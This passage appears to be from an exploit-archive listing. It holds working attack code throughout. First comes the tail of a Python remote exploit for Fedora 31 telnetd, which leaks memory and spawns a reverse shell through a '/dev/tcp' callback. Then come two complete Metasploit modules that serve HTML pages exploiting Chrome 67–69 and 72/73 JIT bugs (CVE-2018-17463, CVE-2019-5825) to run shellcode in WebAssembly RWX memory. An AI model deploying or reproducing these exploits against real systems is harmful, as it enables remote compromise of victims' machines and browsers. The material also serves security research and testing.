kbha4l3fRXAcG9WzkS+I7DQDn+XZ8MmEBojsdJC8XaovVH15zkqWJLEYeobZG9sj7nIZgiVEfsB+
l7Kr7JRlZTtcdUTIyVdMezN5oamjHZPessEpI5yCONsYqJ0lP2hK/csrOJQyi1GRvqPPF1+OqCbB
/5DL2fKhoUUsGH2kYZRLUGWsS3mSk6nPoDYeNZLhFEpTIiwJDaYaCnGYw3/i5c3Y6obkZx1z1Kim
3e4Yvc10wyTAPcn63hf1z2c6A63tGJOu2B7sCvbhUWcoQwIp3NLB2/CDdYX1Q8MOOsHQM2HfgIgi
1H4NP9H086s3hz7AGv362oRkRIONaA3eoW7h0kSzzFSFNkbxBzLS9pro8AMJQambmJQNuyKkDXIu
cEJOyyapKc8UQOUGMNOEL1U5ApEDqnp4Ly/QkCanBDasIXBl3ZeHRkbDvTEZvbImDCk4Zr2AhXYM
NNZwZzvj48YgkH5GGVoLmfNGqGIlu2bhxVmNjZ0DRzdfFo+DqyYyma3kfEV6WymzQbbMuJLikOej
peaYYdpu5l+UGAas3/Npxz97HUaPuLh4KsWHgCivEkn6gbbCE6QY9oIRX5jAZBgUZphTb2O+aDOs
ddnFkPMp5vRSBfoZC9tJqCnUazDZyQRutd1mmtyJfY/rlM3XldWqezpXdDlnYQcMZ0MqsNwzva96
e1nJAU/nh4s2qzPByQNHcKaw3dXuqNUx/q7kElF2shosB/Dr1nMNLoNvcpFhVBGvy364elss1JeE
mQtDebG7+r/tyljmXBlfsh/t+OIgp4ymcFDjUZL1SNCkw5s5hly5MvrRnZo0TF4zmqOeUy4obBX3
N/i0CGV+0k6SJ2SG+uFHBcPYI66H/bcUt9cdY/KKJmXS1IvBcMTQtLq8cg3sgkLUG+omTBLIRF8i
k/gVorFb728qz/2e2FyRikg5j93vkct9S8/wo7A/YCVl28Fg+RvO7J1Fw6+73sqJ7Td6L1Oz/vrw
r/a+S/cfKpbzJTo5AAA=
"""

parser = argparse.ArgumentParser(description="BraveStarr -- Remote Fedora 31 telnetd exploit")
parser.add_argument('-H', '--hostname', dest='hostname', required=True,
help='Target IP address or hostname')
parser.add_argument('-p', '--port', dest='port', type=int, default=23,
help='port number')
parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10,
help='socket timeout')

method_parser = parser.add_subparsers(dest='method', help='Exploitation method')
method_parser.required = True

method_infoleak_parser = method_parser.add_parser('leak', help='Leaks memory of the remote process')

method_cmd_parser = method_parser.add_parser('command', help='Executes a blind command on the remote')
method_cmd_parser.add_argument('command', help='Command to execute')

method_shell_parser = method_parser.add_parser('shell', help='Spawns a shell on the remote and connects back')
method_shell_parser.add_argument('-c', '--callback', dest='callback', required=True, help='Host to connect back a shell to')

args = parser.parse_args()

for line in gzip.decompress(base64.b64decode(banner)).split(b"\n"):
sys.stdout.buffer.write(line + b"\n")
sys.stdout.buffer.flush()
time.sleep(0.1)

t = BraveStarr(args.hostname, port=args.port, timeout=args.timeout,
callback_host=getattr(args, 'callback', None))

print(f"\u26e4 Connecting to {args.hostname}:{args.port}")
t.connect()

# For the `shell' method, we set up a listening socket to receive the callback
# shell on.
if args.method == 'shell':
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sd.bind(('0.0.0.0', 12345))
sd.listen(1)

s = t.infoleak()
t.infoleak_analyze(s)

print("\n\u26e4 Leaked variables")
print(f" netip : {t.values['netip']:#016x}")
print(f" pfrontp: {t.values['pfrontp']:#016x}")
print(f" neturg : {t.values['neturg']:#016x}")
print(f" net : {t.values['net']}")

print("\n\u26e4 Resolved addresses")
adjustment = len(max(t.netibuf_deltas, key=len))
for k, v in t.netibuf_deltas.items():
print(f" {k:<{adjustment}}: {t.addresses[k]:#016x}")

if args.method == 'leak':
sys.exit(0)

t.reset_and_sync()

if args.method == 'shell':
t.exploit(b"/bin/bash -i >& /dev/tcp/%s/12345 0>&1" % t.chost)

print("\n\u26e4 Waiting for connect back shell")
if args.method == 'shell':
import telnetlib

tclient = telnetlib.Telnet()
tclient.sock = sd.accept()[0]
tclient.interact()
sd.close()
elif args.method == 'command':
print(f'\n\u26e4 Executing command "{args.command}"')
t.exploit(bytes(args.command, 'ascii'))

Google Chrome 67 / 68 / 69 Object.create Type Confusion

$
0
0

This Metasploit modules exploits a type confusion in Google Chrome's JIT compiler. The Object.create operation can be used to cause a type confusion between a PropertyArray and a NameDictionary. The payload is executed within the rwx region of the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work.


MD5 | 2040ec95b119e742369ae8f7039cd437

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
'Description' => %q{
This modules exploits a type confusion in Google Chromes JIT compiler.
The Object.create operation can be used to cause a type confusion between a
PropertyArray and a NameDictionary.
The payload is executed within the rwx region of the sandboxed renderer
process, so the browser must be run with the --no-sandbox option for the
payload to work.
},
'License' => MSF_LICENSE,
'Author' => [
'saelo', # discovery and exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2018-17463'],
['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows', 'osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Sep 25 2018'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def on_request_uri(cli, request)

if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] " + request.body)
send_response(cli, '')
return
end

print_status("Sending #{request.uri} to #{request['User-Agent']}")

jscript = %Q^
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);

let ab = new ArrayBuffer(8);
let floatView = new Float64Array(ab);
let uint64View = new BigUint64Array(ab);
let uint8View = new Uint8Array(ab);

Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};

function hex(n) {
return '0x' + n.toString(16);
};

function fail(s) {
print('FAIL ' + s);
throw null;
}

const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;

function gc() {
for (let i = 0; i < 200; i++) {
new ArrayBuffer(0x100000);
}
}

function make(properties) {
let o = {inline: 42} // TODO
for (let i = 0; i < NUM_PROPERTIES; i++) {
eval(`o.p${i} = properties[${i}];`);
}
return o;
}

function pwn() {
function find_overlapping_properties() {
let propertyNames = [];
for (let i = 0; i < NUM_PROPERTIES; i++) {
propertyNames[i] = `p${i}`;
}
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
return [${propertyNames.join(', ')}];
}
`);

let propertyValues = [];
for (let i = 1; i < NUM_PROPERTIES; i++) {
propertyValues[i] = -i;
}

for (let i = 0; i < MAX_ITERATIONS; i++) {
let r = vuln(make(propertyValues));
if (r[1] !== -1) {
for (let i = 1; i < r.length; i++) {
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
return [i, -r[i]];
}
}
}
}

fail("Failed to find overlapping properties");
}

function addrof(obj) {
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
return o.p${p1}.x1;
}
`);

let propertyValues = [];
propertyValues[p1] = {x1: 13.37, x2: 13.38};
propertyValues[p2] = {y1: obj};

let i = 0;
for (; i < MAX_ITERATIONS; i++) {
let res = vuln(make(propertyValues));
if (res !== 13.37)
return res.toBigInt()
}

fail("Addrof failed");
}

function corrupt_arraybuffer(victim, newValue) {
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
let orig = o.p${p1}.x2;
o.p${p1}.x2 = ${newValue.toNumber()};
return orig;
}
`);

let propertyValues = [];
let o = {x1: 13.37, x2: 13.38};
propertyValues[p1] = o;
propertyValues[p2] = victim;

for (let i = 0; i < MAX_ITERATIONS; i++) {
o.x2 = 13.38;
let r = vuln(make(propertyValues));
if (r !== 13.38)
return r.toBigInt();
}

fail("Corrupt ArrayBuffer failed");
}

let [p1, p2] = find_overlapping_properties();
print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);

let memview_buf = new ArrayBuffer(1024);
let driver_buf = new ArrayBuffer(1024);

gc();

let memview_buf_addr = addrof(memview_buf);
memview_buf_addr--;
print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);

let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);

let driver = new BigUint64Array(driver_buf);
let original_memview_buf_ptr = driver[4];

let memory = {
write(addr, bytes) {
driver[4] = addr;
let memview = new Uint8Array(memview_buf);
memview.set(bytes);
},
read(addr, len) {
driver[4] = addr;
let memview = new Uint8Array(memview_buf);
return memview.subarray(0, len);
},
readPtr(addr) {
driver[4] = addr;
let memview = new BigUint64Array(memview_buf);
return memview[0];
},
writePtr(addr, ptr) {
driver[4] = addr;
let memview = new BigUint64Array(memview_buf);
memview[0] = ptr;
},
addrof(obj) {
memview_buf.leakMe = obj;
let props = this.readPtr(memview_buf_addr + 8n);
return this.readPtr(props + 15n) - 1n;
},
};

// Generate a RWX region for the payload
function get_wasm_instance() {
var buffer = new Uint8Array([
0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,
1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,
101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11
]);
return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
}

let wasm_instance = get_wasm_instance();
let wasm_addr = memory.addrof(wasm_instance);
print("wasm_addr @ " + hex(wasm_addr));
let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);
print("wasm_rwx @ " + hex(wasm_rwx_addr));

memory.write(wasm_rwx_addr, shellcode);

let fake_vtab = new ArrayBuffer(0x80);
let fake_vtab_u64 = new BigUint64Array(fake_vtab);
let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);

let div = document.createElement('div');
let div_addr = memory.addrof(div);
print('div_addr @ ' + hex(div_addr));
let el_addr = memory.readPtr(div_addr + 0x20n);
print('el_addr @ ' + hex(div_addr));

fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
memory.writePtr(el_addr, fake_vtab_addr);

print('Triggering...');

// Trigger virtual call
div.dispatchEvent(new Event('click'));

// We are done here, repair the corrupted array buffers
let addr = memory.addrof(driver_buf);
memory.writePtr(addr + 32n, original_driver_buf_ptr);
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
}

pwn();
^

if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end

html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^

send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end

end

Google Chrome 72 / 73 Array.map Corruption

$
0
0

This Metasploit module exploits an issue in Chrome version 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.


MD5 | 2d254d561447d584fca1cf0562293577

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 72 and 73 Array.map exploit',
'Description' => %q{
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
The exploit corrupts the length of a float in order to modify the backing store
of a typed array. The typed array can then be used to read and write arbitrary
memory. The exploit then uses WebAssembly in order to allocate a region of RWX
memory, which is then replaced with the payload.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'dmxcsnsbh', # discovery
'István Kurucsai', # exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2019-5825'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
['URL', 'https://github.com/exodusintel/Chromium-941743'],
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows','osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Mar 7 2019'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def on_request_uri(cli, request)

if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end

print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.encoded)
jscript = %Q^
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}

// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);

// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof

// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;

// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;

function mapping(a) {
function cb(elem, idx) {
if (idx == 0) {
float_array = [0.1, 0.2];

tarray = new BigUint64Array(2);
tarray[0] = 0x41414141n;
tarray[1] = 0x42424242n;
obj = {'a': 0x31323334, 'b': 1};
obj['b'] = obj;
}

if (idx > float_array_len_offset) {
// minimize the corruption for stability
throw "stop";
}
return idx;
}
return a.map(cb);
}

function get_rw() {
for (let i = 0; i < 10 ** 5; i++) {
mapping(a);
}

// Now lengthen the array, but ensure that it points to a non-dictionary
// backing store.
a.length = (32 * 1024 * 1024)-1;
a.fill(1, float_array_len_offset, float_array_len_offset+1);
a.fill(1, float_array_len_offset+2);

a.push(2);
a.length += 500;

// Now, the non-inlined array constructor should produce an array with
// dictionary elements: causing a crash.
cnt = 1;
try {
mapping(a);
} catch(e) {
// relative RW from the float array from this point on
let sane = sanity_check()
print('sanity_check == ', sane);
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));

let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
print('original elements addr: ' + original_elements_ptr.toString(16));
print('original elements value: ' + read8(original_elements_ptr).toString(16));
print('addrof(Object): ' + addrof(Object).toString(16));
}
}

function sanity_check() {
success = true;
success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
return success;
}

function read8(addr) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
let result = tarray[0];
float_array[tarray_elements_len_offset+1] = original;
return result;
}

function write8(addr, val) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
tarray[0] = val;
float_array[tarray_elements_len_offset+1] = original;
}

function addrof(o) {
obj['b'] = o;
return float_array[obj_prop_b_offset].f2i();
}

var wfunc = null;
var shellcode = unescape("#{escaped_payload}");

function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}

function rce() {
let wasm_func = get_wasm_func();
wfunc = wasm_func;
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func) - 1n;
print('wasm: ' + wasm_func_addr);
if (wasm_func_addr == 2) {
print('Failed, retrying...');
location.reload();
return;
}

let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
print('sfi: ' + sfi.toString(16));
let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));

let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
print('instance: ' + instance.toString(16));

//let rwx_addr = read8(instance + 0x108n);
let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
print('rwx: ' + rwx_addr.toString(16));

// write the shellcode to the RWX page
if (shellcode.length % 2 != 0) {
shellcode += "\u9090";
}

for (let i = 0; i < shellcode.length; i += 2) {
write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
}

// invoke the shellcode
wfunc();
}


function exploit() {
print("Exploiting...");
get_rw();
rce();
}

exploit();
^

if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end

html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end

end

Viewing all 13315 articles
Browse latest View live